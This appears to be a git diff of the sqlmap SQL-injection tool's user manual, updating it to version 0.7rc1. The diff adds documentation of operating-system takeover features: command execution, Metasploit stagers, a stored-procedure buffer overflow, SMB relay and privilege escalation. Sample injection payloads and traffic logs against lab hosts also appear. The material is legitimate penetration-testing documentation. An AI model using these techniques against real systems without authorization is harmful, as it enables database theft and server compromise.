      5.10 Miscellaneous @@ -4032,7 +4117,7 @@ $ python sqlmap.py --update -v 4 [hh:mm:55] [TRAFFIC OUT] HTTP request: GET /doc/VERSION HTTP/1.1 Host: sqlmap.sourceforge.net -User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) Connection: close [hh:mm:55] [TRAFFIC IN] HTTP response (OK - 200): @@ -4051,7 +4136,7 @@ X-Pad: avoid browser bug [hh:mm:56] [TRAFFIC OUT] HTTP request: GET /FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx HTTP/1.1 Host: www.sqlsecurity.com -User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) Cookie: .ASPXANONYMOUS=dvus03cqyQEkAAAANDI0M2QzZmUtOGRkOS00ZDQxLThhMTUtN2ExMWJiNWVjN2My0; language=en-US Connection: close @@ -4215,7 +4300,6 @@ INI file, sqlmap-SAUbs.conf.

       $ cat sqlmap-SAUbs.conf
      -
       [Target]
       url = http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1
       googledork = 
      @@ -4230,7 +4314,7 @@ delay = 0
       headers = 
       cookie = 
       proxy = 
      -timeout = 10
      +timeout = 30
       acred = 
       referer = 
       data = 
      @@ -4238,10 +4322,11 @@ method = GET
       
       [Miscellaneous]
       updateall = False
      -eta = False
      -verbose = 2
      -batch = False
       sessionfile = 
      +eta = False
      +batch = False
      +cleanup = False
      +verbose = 1
       
       [Enumeration]
       dumpall = False
      @@ -4267,24 +4352,33 @@ getcurrentuser = False
       getbanner = True
       
       [File system]
      +dfile = 
       wfile = 
       rfile = 
       
       [Takeover]
      +msfpath = 
       osshell = False
      +ossmb = False
      +privesc = False
      +ospwn = False
      +tmppath = 
      +oscmd = 
      +osbof = False
       
       [Fingerprint]
       extensivefp = False
       
       [Injection]
      -estring = 
       dbms = 
       string = 
       postfix = 
      +regexp = 
       prefix = 
       testparameter = 
      -regexp = 
      +estring = 
       eregexp = 
      +os = 
       
       [Techniques]
       stackedtest = False
      @@ -4362,6 +4456,14 @@ back-end DBMS:  MySQL >= 5.0.0
       vulnerable parameter which is the default behaviour.

      +

      Clean up the DBMS by sqlmap specific UDF and tables

      + +

      Option: --cleanup

      + +

      This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper +Advanced SQL injection to operating system full control for the moment.

      + +

      6. Disclaimer

      sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY @@ -4375,18 +4477,12 @@ that such action might get you in trouble with a lot of law enforcement agencies.

      -

      7. Authors

      +

      7. Author

      -

      -

      +Bernardo Damele A. G. (inquis) - Lead developer. +PGP Key ID: +0x05F5A30F

      diff --git a/doc/README.pdf b/doc/README.pdf index 94f7c04e0..d3eaa478f 100644 Binary files a/doc/README.pdf and b/doc/README.pdf differ diff --git a/doc/README.sgml b/doc/README.sgml index cddf7cf53..d82cdb5dc 100644 --- a/doc/README.sgml +++ b/doc/README.sgml @@ -4,7 +4,7 @@ sqlmap user's manual <author>by <htmlurl url="mailto:bernardo.damele@gmail.com" name="Bernardo Damele A. G."> -<date>version 0.6.4, 3rd of February 2009 +<date>version 0.7 release candidate 1, April 22, 2009 <abstract> This document is the user's manual to use <htmlurl url="http://sqlmap.sourceforge.net" name="sqlmap">. Check the project <htmlurl url="http://sqlmap.sourceforge.net" name="homepage"> @@ -24,8 +24,12 @@ in web applications. Once it detects one or more SQL injections on the target host, the user can choose among a variety of options to perform an extensive back-end database management system fingerprint, retrieve DBMS session user and database, enumerate users, password hashes, privileges, -databases, dump entire or user's specific DBMS tables/columns, run his own -SQL statement, read specific files on the file system and more. +databases, dump entire or user's specified DBMS tables/columns, run his own +SQL statement, read or write either text or binary files on the file +system, execute arbitrary commands on the operating system, establish an +out-of-band stateful connection between the attacker box and the database +server via Metasploit payload stager, database stored procedure buffer +overflow exploitation or SMB relay attack and more. <sect1>Requirements @@ -34,7 +38,7 @@ SQL statement, read specific files on the file system and more. sqlmap is developed in <htmlurl url="http://www.python.org" name="Python">, a dynamic object-oriented interpreted programming language. This makes the tool independent from the operating system since it only -requires the Python interpreter version equal or above to 2.4. +requires the Python interpreter version equal or above to <bf>2.5</bf>. The interpreter is freely downloadable from its <htmlurl url="http://python.org/download/" name="official site">. To make it even easier, many GNU/Linux distributions come out of the box @@ -43,6 +47,12 @@ too provide it packaged in their formats and ready to be installed. Windows users can download and install the Python setup-ready installer for x86, AMD64 and Itanium too. +sqlmap relies on the <htmlurl url="http://metasploit.com/framework/" +name="Metasploit Framework"> for some of its post-exploitation takeover +functionalities. You need to grab a copy of it from the +<htmlurl url="http://metasploit.com/framework/download/" name="download"> +page. The required version is <bf>3.2</bf> or above. + Optionally, if you are running sqlmap on Windows, you may wish to install <htmlurl url="http://ipython.scipy.org/moin/PyReadline/Intro" name="PyReadline"> library to be able to take advantage of the sqlmap TAB completion and @@ -144,10 +154,11 @@ sqlmap implements three techniques to exploit a SQL injection vulnerability: <itemize> -<item><bf>Inferential blind SQL injection</bf>: sqlmap appends to the -affected parameter in the HTTP request, a syntatically valid SQL statement -string containing a <tt>SELECT</tt> sub-statement, or any other SQL -statement whose the user want to retrieve the output. +<item><bf>Inferential blind SQL injection</bf>, also known as <bf>boolean +based blind SQL injection</bf>: sqlmap appends to the affected parameter in +the HTTP request, a syntatically valid SQL statement string containing a +<tt>SELECT</tt> sub-statement, or any other SQL statement whose the user +want to retrieve the output. For each HTTP response, by making a comparison based upon HTML page content hashes, or string matches, with the original request, the tool determines the output value of the statement character by character. @@ -155,21 +166,22 @@ The bisection algorithm implemented in sqlmap to perform this technique is able to fetch each output character with at maximum seven HTTP requests. This is sqlmap default SQL injection technique. -<item><bf>UNION query (inband) SQL injection</bf>, also known as <bf>Full +<item><bf>UNION query (inband) SQL injection</bf>, also known as <bf>full UNION query SQL injection</bf>: sqlmap appends to the affected parameter in the HTTP request, a syntatically valid SQL statement string starting with a <tt>UNION ALL SELECT</tt>. This techique is useful if the web application page passes the output of the <tt>SELECT</tt> statement to a <tt>for</tt> cycle, or similar, so that each line of the query output is printed on the page content. -sqlmap is also able to exploit <bf>Partial UNION query SQL injection</bf> -vulnerabilities which occur when the output of the statement is not cycled -in a for construct whereas only the first entry output is displayed. +sqlmap is also able to exploit <bf>partial (single entry) UNION query SQL +injection</bf> vulnerabilities which occur when the output of the statement +is not cycled in a for construct whereas only the first entry output is +displayed. This technique is much faster if the target url is affected by because in a single HTTP response it returns the whole query output or a entry per each response within the page content. This SQL injection technique is an alternative to the first one. -<item><bf>Stacked queries support</bf>, also known as <bf>multiple +<item><bf>Batched (stacked) queries support</bf>, also known as <bf>multiple statements support</bf>: sqlmap tests if the web application supports stacked queries then, in case it does support, it appends to the affected parameter in the HTTP request, a semi-colon (<tt>;</tt>) followed by the @@ -187,6 +199,10 @@ and the session user privileges. <p> Major features implemented in sqlmap include: + +<sect1>Generic features + +<p> <itemize> <item>Full support for <bf>MySQL</bf>, <bf>Oracle</bf>, <bf>PostgreSQL</bf> and <bf>Microsoft SQL Server</bf> back-end database management systems. @@ -195,31 +211,8 @@ identify Microsoft Access, DB2, Informix, Sybase and Interbase. <item>Full support for three SQL injection techniques: <bf> inferential blind SQL injection</bf>, <bf>UNION query (inband) SQL injection</bf> and -<bf>stacked queries (multiple statements) support</bf>. sqlmap can also -test for <bf>time based blind SQL injection</bf>. - -<item><bf>Extensive back-end database management system fingerprint</bf> -based upon -<htmlurl url="http://bernardodamele.blogspot.com/2007/06/database-management-system-fingerprint.html" name="inband error messages">, -<htmlurl url="http://bernardodamele.blogspot.com/2007/06/database-management-system-fingerprint.html" name="banner parsing">, -<htmlurl url="http://bernardodamele.blogspot.com/2007/07/more-on-database-management-system.html" name="functions output comparison"> and -<htmlurl url="http://bernardodamele.blogspot.com/2007/07/more-on-database-management-system.html" name="specific features"> -such as MySQL comment injection. It is also possible to force the back-end -database management system name if you already know it. sqlmap is also able -to fingerprint the web server operating system, the web application -technology and, in some circumstances, the back-end DBMS operating system. - -<item>Options to retrieve on all four back-end database management system -<bf>banner</bf>, <bf>current user</bf>, <bf>current database</bf>, -enumerate <bf>users</bf>, <bf>users password hashes</bf>, <bf>users -privileges</bf>, <bf>databases</bf>, <bf>tables</bf>, <bf>columns</bf>, -dump <bf>tables entries</bf>, dump <bf>whole database management -system</bf> and run your <bf>own SQL statement</bf>. - -<item>If the back-end database management system is MySQL it is also -possible to <bf>read a specific file content</bf> from the ile system and, -in some circumstances, <bf>prompt for an interactive operating system -shell</bf> with TAB completion and history support. +<bf>batched queries support</bf>. sqlmap can also test for <bf>time based +blind SQL injection</bf>. <item>It is possible to provide a single target URL, get the list of targets from <htmlurl url="http://portswigger.net/suite/" name="Burp proxy"> @@ -287,18 +280,80 @@ save command line options on a configuration INI file. <htmlurl url="http://metasploit.com/framework/" name="Metasploit"> and <htmlurl url="http://w3af.sourceforge.net/" name="w3af">. -<item><bf>File system</bf> read and write access and <bf>operating -system</bf> command execution by providing own queries, depending on the -session user privileges and back-end DBMS. - <item><bf>PHP setting <tt>magic_quotes_gpc</tt> bypass</bf> by encoding every query string, between single quotes, with <tt>CHAR</tt>, or similar, database management system function. </itemize> +<sect1>Enumeration features + +<p> +<itemize> +<item><bf>Extensive back-end database management system software and +underlying operating system fingerprint</bf> +based upon +<htmlurl url="http://bernardodamele.blogspot.com/2007/06/database-management-system-fingerprint.html" name="inband error messages">, +<htmlurl url="http://bernardodamele.blogspot.com/2007/06/database-management-system-fingerprint.html" name="banner parsing">, +<htmlurl url="http://bernardodamele.blogspot.com/2007/07/more-on-database-management-system.html" name="functions output comparison"> and +<htmlurl url="http://bernardodamele.blogspot.com/2007/07/more-on-database-management-system.html" name="specific features"> +such as MySQL comment injection. It is also possible to force the back-end +database management system name if you already know it. sqlmap is also able +to fingerprint the web server operating system, the web application +technology and, in some circumstances, the back-end DBMS operating system. + +<item>Basic web server software and web application technology fingerprint. + +<item>Support to retrieve on all four back-end database management system +<bf>banner</bf>, <bf>current user</bf>, <bf>current database</bf>, check +if the current user is a database administrator, enumerate <bf>users</bf>, +<bf>users password hashes</bf>, <bf>users privileges</bf>, +<bf>databases</bf>, <bf>tables</bf>, <bf>columns</bf>, dump <bf>tables +entries</bf>, dump <bf>whole database management system</bf> and run user's +<bf>own SQL statement</bf>. +</itemize> + +<sect1>Takeover features + +<p> +<itemize> +<item>Support to <bf>read either text or binary files</bf> from the +database server underlying file system when the database software is MySQL, +PostgreSQL and Microsoft SQL Server. + +<item>Support to <bf>execute arbitrary commands</bf> on the database server +underlying operating system when the database software is MySQL, +PostgreSQL via user-defined function injection and Microsoft SQL Server via +<tt>xp_cmdshell()</tt> stored procedure. + +<item>Support to <bf>establish an out-of-band stateful connection between +the attacker box and the database server</bf> underlying operating system +via: +<itemize> +<item><bf>Stand-alone payload stager</bf> created by Metasploit and +supporting Meterpreter, shell and VNC payloads for both Windows and Linux; +<item><bf>Microsoft SQL Server 2000 and 2005 <tt>sp_replwritetovarbin</tt> +stored procedure heap-based buffer overflow</bf> (MS09-004) exploitation +with multi-stage Metasploit payload support; +<item><bf>SMB reflection attack</bf> with UNC path request from the +database server to the attacker box by using the Metasploit +<tt>smb_relay</tt> exploit on the attacker box. +</itemize> + +<item>Support for <bf>database process' user privilege escalation</bf> via +Windows Access Tokens kidnapping on MySQL and Microsoft SQL Server via +either Meterpreter's <tt>incognito</tt> extension or <tt>Churrasco</tt> +stand-alone executable. +</itemize> + <sect>Download and update +<p> +<bf>sqlmap 0.7 release candidate 1</bf> version can be downloaded as a +<htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.7rc1.tar.gz" +name="source gzip compressed"> file or as a <htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.7rc1.zip" +name="source zip compressed"> file. + <p> sqlmap can be downloaded from its <htmlurl url="http://sourceforge.net/project/showfiles.php?group_id=171598&package_id=196107" @@ -306,24 +361,24 @@ name="SourceForge File List page">. It is available in various formats: <itemize> -<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.4.tar.gz" +<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.7rc1.tar.gz" name="Source gzip compressed"> operating system independent. -<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.4.tar.bz2" +<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.7rc1.tar.bz2" name="Source bzip2 compressed"> operating system independent. -<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.4.zip" +<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.7rc1.zip" name="Source zip compressed"> operating system independent. -<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap_0.6.4-1_all.deb" +<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap_0.7rc1-1_all.deb" name="DEB binary package"> architecture independent for Debian and any other Debian derivated GNU/Linux distribution. -<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.4-1.noarch.rpm" +<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.7rc1-1.noarch.rpm" name="RPM binary package"> architecture independent for Fedora and any other operating system that can install RPM packages. -<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.4_exe.zip" +<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.7rc1_exe.zip" name="Portable executable for Windows"> that <bf>does not require the Python interpreter</bf> to be installed on the operating system. </itemize> @@ -360,8 +415,8 @@ and <htmlurl url="mailto:daniele.bellucci@gmail.com" name="Daniele Bellucci">. <tscreen><verb> $ python sqlmap.py -h - sqlmap/0.6.4 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com> - and Daniele Bellucci <daniele.bellucci@gmail.com> + sqlmap/0.7rc1 + by Bernardo Damele A. G. <bernardo.damele@gmail.com> Usage: sqlmap.py [options] @@ -382,19 +437,20 @@ Options: Request: These options can be used to specify how to connect to the target url. - --method=METHOD HTTP method, GET or POST (default: GET) + --method=METHOD HTTP method, GET or POST (default GET) --data=DATA Data string to be sent through POST --cookie=COOKIE HTTP Cookie header --referer=REFERER HTTP Referer header --user-agent=AGENT HTTP User-Agent header -a USERAGENTSFILE Load a random HTTP User-Agent header from file - --headers=HEADERS Extra HTTP headers '\n' separated - --auth-type=ATYPE HTTP Authentication type, value: Basic or Digest - --auth-cred=ACRED HTTP Authentication credentials, value: name:password + --headers=HEADERS Extra HTTP headers newline separated + --auth-type=ATYPE HTTP Authentication type (value Basic or Digest) + --auth-cred=ACRED HTTP Authentication credentials (value name:password) --proxy=PROXY Use a HTTP proxy to connect to the target url --threads=THREADS Maximum number of concurrent HTTP requests (default 1) --delay=DELAY Delay in seconds between each HTTP request --timeout=TIMEOUT Seconds to wait before timeout connection (default 30) + --retries=RETRIES Retries when the connection timeouts (default 3) Injection: These options can be used to specify which parameters to test for, @@ -403,13 +459,13 @@ Options: -p TESTPARAMETER Testable parameter(s) --dbms=DBMS Force back-end DBMS to this value + --os=OS Force back-end DBMS operating system to this value --prefix=PREFIX Injection payload prefix string --postfix=POSTFIX Injection payload postfix string --string=STRING String to match in page when the query is valid --regexp=REGEXP Regexp to match in page when the query is valid - --excl-str=ESTRING String to be excluded before calculating page hash - --excl-reg=EREGEXP Regexp matches to be excluded before calculating page - hash + --excl-str=ESTRING String to be excluded before comparing page contents + --excl-reg=EREGEXP Matches to be excluded before comparing page contents Techniques: These options can be used to test for specific SQL injection technique @@ -418,6 +474,7 @@ Options: --stacked-test Test for stacked queries (multiple statements) support --time-test Test for time based blind SQL injection + --time-sec=TIMESEC Seconds to delay the DBMS response (default 5) --union-test Test for UNION query (inband) SQL injection --union-tech=UTECH Technique to test for UNION query SQL injection --union-use Use the UNION query (inband) SQL injection to retrieve @@ -436,13 +493,13 @@ Options: --current-db Retrieve DBMS current database --is-dba Detect if the DBMS current user is DBA --users Enumerate DBMS users - --passwords Enumerate DBMS users password hashes (opt: -U) - --privileges Enumerate DBMS users privileges (opt: -U) + --passwords Enumerate DBMS users password hashes (opt -U) + --privileges Enumerate DBMS users privileges (opt -U) --dbs Enumerate DBMS databases - --tables Enumerate DBMS database tables (opt: -D) - --columns Enumerate DBMS database table columns (req:-T opt:-D) - --dump Dump DBMS database table entries (req: -T, opt: -D, - -C, --start, --stop) + --tables Enumerate DBMS database tables (opt -D) + --columns Enumerate DBMS database table columns (req -T opt -D) + --dump Dump DBMS database table entries (req -T, opt -D, -C, + --start, --stop) --dump-all Dump all DBMS databases tables entries -D DB DBMS database to enumerate -T TBL DBMS database table to enumerate @@ -456,28 +513,32 @@ Options: File system access: These options can be used to access the back-end database management - system file system taking advantage of native DBMS functions or - specific DBMS design weaknesses. + system underlying file system. - --read-file=RFILE Read a specific OS file content (only on MySQL) - --write-file=WFILE Write to a specific OS file (not yet available) + --read-file=RFILE Read a file from the back-end DBMS file system + --write-file=WFILE Write a local file on the back-end DBMS file system + --dest-file=DFILE Back-end DBMS absolute filepath to write to Operating system access: This option can be used to access the back-end database management - system operating system taking advantage of specific DBMS design - weaknesses. + system underlying operating system. - --os-shell Prompt for an interactive OS shell (only on PHP/MySQL - environment with a writable directory within the web - server document root for the moment) + --os-cmd=OSCMD Execute an operating system command + --os-shell Prompt for an interactive operating system shell + --os-pwn Prompt for an out-of-band shell, meterpreter or VNC + --os-smbrelay One click prompt for an OOB shell, meterpreter or VNC + --os-bof Stored procedure buffer overflow exploitation + --priv-esc User priv escalation by abusing Windows access tokens + --msf-path=MSFPATH Local path where Metasploit Framework 3 is installed + --tmp-path=TMPPATH Remote absolute path of temporary files directory Miscellaneous: - --eta Retrieve each query output length and calculate the - estimated time of arrival in real time + --eta Display for each output the estimated time of arrival --update Update sqlmap to the latest stable version -s SESSIONFILE Save and resume all data retrieved on a session file --save Save options on a configuration INI file --batch Never ask for user input, use the default behaviour + --cleanup Clean up the DBMS by sqlmap specific UDF and tables </verb></tscreen> @@ -574,7 +635,7 @@ Host: 192.168.1.121:80 Accept-language: en-us,en;q=0.5 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, image/png,*/*;q=0.5 -User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) Connection: close [...] [hh:mm:55] [INFO] testing MySQL @@ -587,7 +648,7 @@ Host: 192.168.1.121:80 Accept-language: en-us,en;q=0.5 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, image/png,*/*;q=0.5 -User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) Connection: close [...] </verb></tscreen> @@ -607,7 +668,7 @@ Host: 192.168.1.121:80 Accept-language: en-us,en;q=0.5 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, image/png,*/*;q=0.5 -User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) Connection: close [hh:mm:44] [TRAFFIC IN] HTTP response (OK - 200): @@ -628,7 +689,7 @@ Host: 192.168.1.121:80 Accept-language: en-us,en;q=0.5 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, image/png,*/*;q=0.5 -User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) Connection: close [...] </verb></tscreen> @@ -648,7 +709,7 @@ Host: 192.168.1.121:80 Accept-language: en-us,en;q=0.5 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, image/png,*/*;q=0.5 -User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) Connection: close [hh:mm:17] [TRAFFIC IN] HTTP response (OK - 200): @@ -676,7 +737,7 @@ Host: 192.168.1.121:80 Accept-language: en-us,en;q=0.5 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, image/png,*/*;q=0.5 -User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) Connection: close [hh:mm:18] [TRAFFIC IN] HTTP response (OK - 200): @@ -986,7 +1047,7 @@ Host: 192.168.1.125:80 Accept-language: en-us,en;q=0.5 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, image/png,*/*;q=0.5 -User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) Cookie: ASPSESSIONIDSABTRCAS=HPCBGONANJBGFJFHGOKDMCGJ Connection: close @@ -1002,7 +1063,7 @@ Accept-language: en-us,en;q=0.5 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, image/png,*/*;q=0.5 Cookie: ASPSESSIONIDSABTRCAS=469 -User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) Connection: close [hh:mm:40] [WARNING] Cookie parameter 'ASPSESSIONIDSABTRCAS' is not dynamic @@ -1053,7 +1114,7 @@ Accept-language: en-us,en;q=0.5 Referer: http://www.google.com Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, image/png,*/*;q=0.5 -User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) Connection: close [...] </verb></tscreen> @@ -1069,7 +1130,7 @@ By default sqlmap perform HTTP requests providing the following HTTP <tt>User-Agent</tt> header value: <tscreen><verb> -sqlmap/0.6.4 (http://sqlmap.sourceforge.net) +sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) </verb></tscreen> <p> @@ -1190,7 +1251,7 @@ Accept-language: en-us,en;q=0.5 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, image/png,*/*;q=0.5 Authorization: Basic dGVzdHVzZXI6dGVzdHBhc3M= -User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) Connection: close [...] @@ -1211,7 +1272,7 @@ Authorization: Digest username="testuser", realm="Testing digest authentication" nonce="Qw52C8RdBAA=2d7eb362292b24718dcb6e4d9a7bf0f13d58fa9d", uri="/sqlmap/mysql/digest/get_int.php?id=1", response="16d01b08ff2f77d8ff0183d706f96747", algorithm="MD5", qop=auth, nc=00000001, cnonce="579be5eb8753693a" -User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) Connection: close [...] </verb></tscreen> @@ -1327,6 +1388,16 @@ the HTTP request timed out. The valid value is a float, for instance 10.5 means ten seconds and a half. +<sect2>Maximum number of retries when the HTTP connection timeouts + +<p> +Option: <tt>--retries</tt> + +<p> +It is possible to specify the maximum number of retries when the HTTP +connection timeouts. By default it retries up to three times. + + <sect1>Injection <p> @@ -1384,7 +1455,7 @@ Example on a <bf>MySQL 5.0.67</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/ua_str.php" -v 1 \ - -p "user-agent" --user-agent "sqlmap/0.6.4 (http://sqlmap.sourceforge.net)" + -p "user-agent" --user-agent "sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)" [hh:mm:40] [WARNING] the testable parameter 'user-agent' you provided is not into the GET [hh:mm:40] [INFO] testing connection to the target url @@ -1468,6 +1539,33 @@ back-end database management system. If you do not know it, let sqlmap automatically identify it for you. +<sect2>Force the database management system operating system name + +<p> +Option: <tt>--os</tt> + +<p> +By default sqlmap automatically detects the web application's back-end +database manangement system underlying operating system when requested by +any other functionality. +At the moment the fully supported operating systems are two: + +<itemize> +<item>Linux +<item>Windows +</itemize> + +<p> +It is possible to force the operating system name if you already know it so +that sqlmap will skip the fingerprint. + +<p> +Note that this option is <bf>not</bf> mandatory and it is strongly +recommended to use it <bf>only if you are absolutely sure</bf> about the +back-end database management system underlying operating system. If you do +not know it, let sqlmap automatically identify it for you. + + <sect2>Custom injection payload <p> @@ -1500,7 +1598,7 @@ Host: 192.168.1.121:80 Accept-language: en-us,en;q=0.5 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, image/png,*/*;q=0.5 -User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) Connection: close [...] [hh:mm:17] [INFO] GET parameter 'id' is custom injectable @@ -1572,7 +1670,7 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id= [hh:mm:50] [TRAFFIC OUT] HTTP request: GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1 Host: 192.168.1.121:80 -User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) Connection: close [hh:mm:50] [TRAFFIC IN] HTTP response (OK - 200): @@ -1594,7 +1692,7 @@ Content-Type: text/html [hh:mm:51] [TRAFFIC OUT] HTTP request: GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1 Host: 192.168.1.121:80 -User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) Connection: close [hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200): @@ -1616,7 +1714,7 @@ Content-Type: text/html [hh:mm:51] [TRAFFIC OUT] HTTP request: GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1 Host: 192.168.1.121:80 -User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) Connection: close [hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200): @@ -1824,10 +1922,10 @@ stacked queries support: 'name=luther'; WAITFOR DELAY '0:0:5';-- AND 'wRcBC'= <sect2>Test for time based blind SQL injection <p> -Option: <tt>--time-test</tt> +Options: <tt>--time-test</tt> and <tt>--time-sec</tt> <p> -It is possible to test if the target URL is affected by a <bf>Time based +It is possible to test if the target URL is affected by a <bf>time based blind SQL injection</bf> vulnerability. <p> @@ -1890,6 +1988,11 @@ time based blind sql injection payload: 'name=luther'; WAITFOR DELAY '0:0:5'; 'PmrXn'='PmrXn' </verb></tscreen> +<p> +It is also possible to set the seconds to delay the response by providing +the <tt>--time-sec</tt> option followed by an integer. By default it delays +five seconds. + <sect2>Test for UNION query SQL injection @@ -2038,7 +2141,7 @@ Host: 192.168.1.121:80 Accept-language: en-us,en;q=0.5 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, image/png,*/*;q=0.5 -User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) Connection: close [hh:mm:29] [TRAFFIC IN] HTTP response (OK - 200): @@ -3124,7 +3227,7 @@ Table: users | 1 | luther | blissett | | 2 | fluffy | bunny | | 3 | wu | ming | -| 4 | sqlmap/0.6.4 (http://sqlmap.sourceforge.net) | user agent header | +| 4 | sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) | user agent header | | 5 | NULL | nameisnull | +----+----------------------------------------------+-------------------+ </verb></tscreen> @@ -3176,7 +3279,7 @@ Table: users | 1 | luther | blissett | | 2 | fluffy | bunny | | 3 | wu | ming | -| 4 | sqlmap/0.6.4 (http://sqlmap.sourceforge.net) | user agent header | +| 4 | sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) | user agent header | | 5 | | nameisnull | +----+----------------------------------------------+-------------------+ @@ -3189,7 +3292,7 @@ $ cat /software/sqlmap/output/192.168.1.121/dump/public/users.csv "1","luther","blissett" "2","fluffy","bunny" "3","wu","ming" -"4","sqlmap/0.6.4 (http://sqlmap.sourceforge.net)","user agent header" +"4","sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)","user agent header" "5","","nameisnull" </verb></tscreen> @@ -3217,7 +3320,7 @@ Table: users +----+----------------------------------------------+-------------------+ | 2 | fluffy | bunny | | 3 | wu | ming | -| 4 | sqlmap/0.6.4 (http://sqlmap.sourceforge.net) | user agent header | +| 4 | sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) | user agent header | +----+----------------------------------------------+-------------------+ </verb></tscreen> @@ -3249,7 +3352,7 @@ Table: users | 1 | luther | blissett | | 2 | fluffy | bunny | | 3 | wu | ming | -| 4 | sqlmap/0.6.4 (http://sqlmap.sourceforge.net) | user agent header | +| 4 | sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) | user agent header | | 5 | NULL | nameisnull | +----+----------------------------------------------+-------------------+ @@ -3338,7 +3441,7 @@ Table: users +----+----------------------------------------------+-------------------+ | id | name | surname | +----+----------------------------------------------+-------------------+ -| 4 | sqlmap/0.6.4 (http://sqlmap.sourceforge.net) | user agent header | +| 4 | sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) | user agent header | | 2 | fluffy | bunny | | 1 | luther | blisset | | 3 | wu | ming | @@ -3735,83 +3838,69 @@ support when the back-end DBMS is PostgreSQL. <sect1>File system access -<sect2>Read a specific file content +<sect2>Read a file from the back-end DBMS file system <p> Option: 